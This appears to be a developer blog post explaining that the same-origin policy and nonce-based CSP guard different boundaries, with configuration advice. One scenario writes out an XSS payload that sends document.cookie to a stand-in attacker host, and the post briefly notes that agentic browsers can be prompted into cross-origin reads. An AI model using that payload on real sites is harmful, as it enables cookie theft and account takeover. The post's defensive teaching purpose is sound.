// Writing
CSP Nonces and the Same-Origin Policy Solve Different Problems
Two browser mechanisms get treated as interchangeable because they both come up in the same sentence about stopping cross-site scripting: the same-origin policy (SOP) and a nonce-based Content-Security-Policy. They are not the same control, they don't compete, and mixing them up in a design review usually means one real boundary is undefended while everyone feels covered.
The one-line version: SOP decides which origin can read which origin's data. A CSP nonce decides which script on this page is allowed to execute. One is about crossing a boundary between sites. The other is about what runs inside a single page, regardless of which site it's on.
What the same-origin policy actually guards
SOP has been the browser's default trust boundary since 1995: a script
running on https://a.example cannot read the DOM, cookies, or
localStorage of https://b.example, and a response from a cross-origin
fetch is opaque to the calling script unless the server opts in via CORS.
The unit SOP reasons about is the origin — scheme, host, and port — and it
applies uniformly, with no configuration required. You don't turn SOP on;
you occasionally have to punch a deliberate, audited hole in it (CORS,
postMessage, document.domain in older code).
Nothing about SOP asks whether a script is inline or external, whether it carries any attribute, or how it got onto the page. SOP doesn't care how a script ended up executing — only what origin it's now allowed to touch once it has. If an agentic browser reads across an origin boundary because a page instructed it to, that's a failure at a different layer entirely — the agent, not the origin model — and no CSP directive changes that outcome, because CSP governs what a page can execute, not what an agent acting on the user's behalf can read.
What a CSP nonce actually guards
A nonce-based Content-Security-Policy answers a narrower, unrelated
question: on this specific page, which <script> tags am I willing to run?
Content-Security-Policy: script-src 'nonce-r4nd0mVALUEperResponse'
The server generates a fresh, cryptographically random value on every
response and echoes it into a nonce attribute on each script tag it
intends to allow:
<script nonce="r4nd0mVALUEperResponse">/* trusted, ships with the page */</script>
The browser executes a script only if its nonce attribute matches the
value in the response's CSP header for that exact response. An attacker who
manages to inject a <script> tag through a reflected-XSS bug — the classic
"stick attacker-controlled input into the page" flaw — cannot guess the
nonce, because it's regenerated per response and never reused. The injected
tag has no matching nonce, so the browser refuses to run it. unsafe-inline
without a nonce or hash defeats this entirely, which is why it's the first
thing a CSP linter should flag.
That's the whole mechanism: it distinguishes scripts the server intended to ship from scripts an attacker managed to smuggle in, on the same origin, in the same response. It never touches the question of what a different origin is allowed to read.
Why conflating them leaves a gap
Picture two designs, each defended by only one of these mechanisms:
Strict CSP with nonces, no attention to CORS. Every script on the page
is exactly the one the server intended — nonce-matched, no injected script
survives. Meanwhile the API behind it echoes Access-Control-Allow-Origin: * with credentials enabled. The nonce did its job perfectly. The origin
boundary was never the thing it protected, and it's wide open.
Solid SOP defaults, no CSP at all. Cross-origin reads are exactly as
restricted as the browser guarantees by default — no CORS holes, nothing
unusual. But the page reflects a query parameter into the DOM without
encoding it, an attacker injects <script>fetch('https://evil.example?d='+document.cookie)</script>,
and it runs — same origin, no cross-origin read required, so SOP was never
in the attacker's way to begin with. unsafe-inline (the default when no
script-src is set at all) waves it through.
Neither scenario is a same-origin-policy failure or a CSP failure in isolation — they're a mismatch between the boundary you reinforced and the boundary the attack actually crossed. XSS that stays on-origin is a CSP problem; SOP was never going to stop it, because nothing crossed an origin. Malicious cross-origin reads are a CORS/SOP problem; a nonce was never going to stop them, because the script that ran was the one you shipped.
Where they actually interact
There's one place the two mechanisms genuinely touch: a nonce only protects you if it's unpredictable and single-use per response. A nonce that's static across every page load, derived from something guessable (a timestamp, a hash of the URL path), or leaked back to the page through a same-origin reflection bug is a nonce in name only — an attacker who can predict or read it can stamp their injected script with it and CSP stops doing anything. That failure mode is same-origin in nature (the leak usually happens through the page's own origin, not a cross-origin read), but the fix lives entirely in how the nonce is generated and delivered, not in SOP.
It's also worth being explicit that a nonce is not a session token, a CSRF token, or an identity of any kind — it authorizes a script tag, once, for one response. Reusing your CSRF token generator to produce nonces (or vice versa) is a category error even when the code would technically work.
The practical takeaway
Treat these as answers to two different questions, and design for both independently:
- "Can origin B read origin A's data?" — SOP's question. Audit your
CORS configuration, your
postMessageorigin checks, and — if agents act on a user's behalf inside the browser — what those agents can read across tabs, which SOP was never built to constrain in the first place. - "Can an attacker get an unintended script to execute on this page?" —
CSP's question. A strict
script-srcwith per-response nonces (or hashes for static inline scripts), nounsafe-inline, nounsafe-eval, closes the door XSS walks through.
A strict CSP does not make your CORS policy safe to loosen. A tight CORS
policy does not make unsafe-inline acceptable. They're independent line
items on the same checklist, not substitutes for each other.
If you have a CSP header in hand, the CSP Header Analyzer
parses it and flags the usual gaps — missing script-src, unsafe-inline,
wildcard sources — entirely in your browser, before you ship it rather than
after an incident.
// Read next — more in Agent architecture & containment
Agent Containment Is an Environment Property
An approval dialog is a request for the agent to be trusted. Containment is what stays true when that trust fails — and it lives in the environment, not the model.
9 min read
How to Build an Agent Harness That Doesn't Waste Your Model
Same weights, different harness: fail-to-pass 28%→49%, complete solutions 43→72. The harness is half your agent — here's how to build it like that.
8 min read
Validate Agent Tool Calls Before They Execute
Agents generate tool arguments by sampling tokens — malformed calls aren't an edge case, they're a statistical certainty. Here's the five-minute contract check that runs before the side effect, not after the incident.
6 min read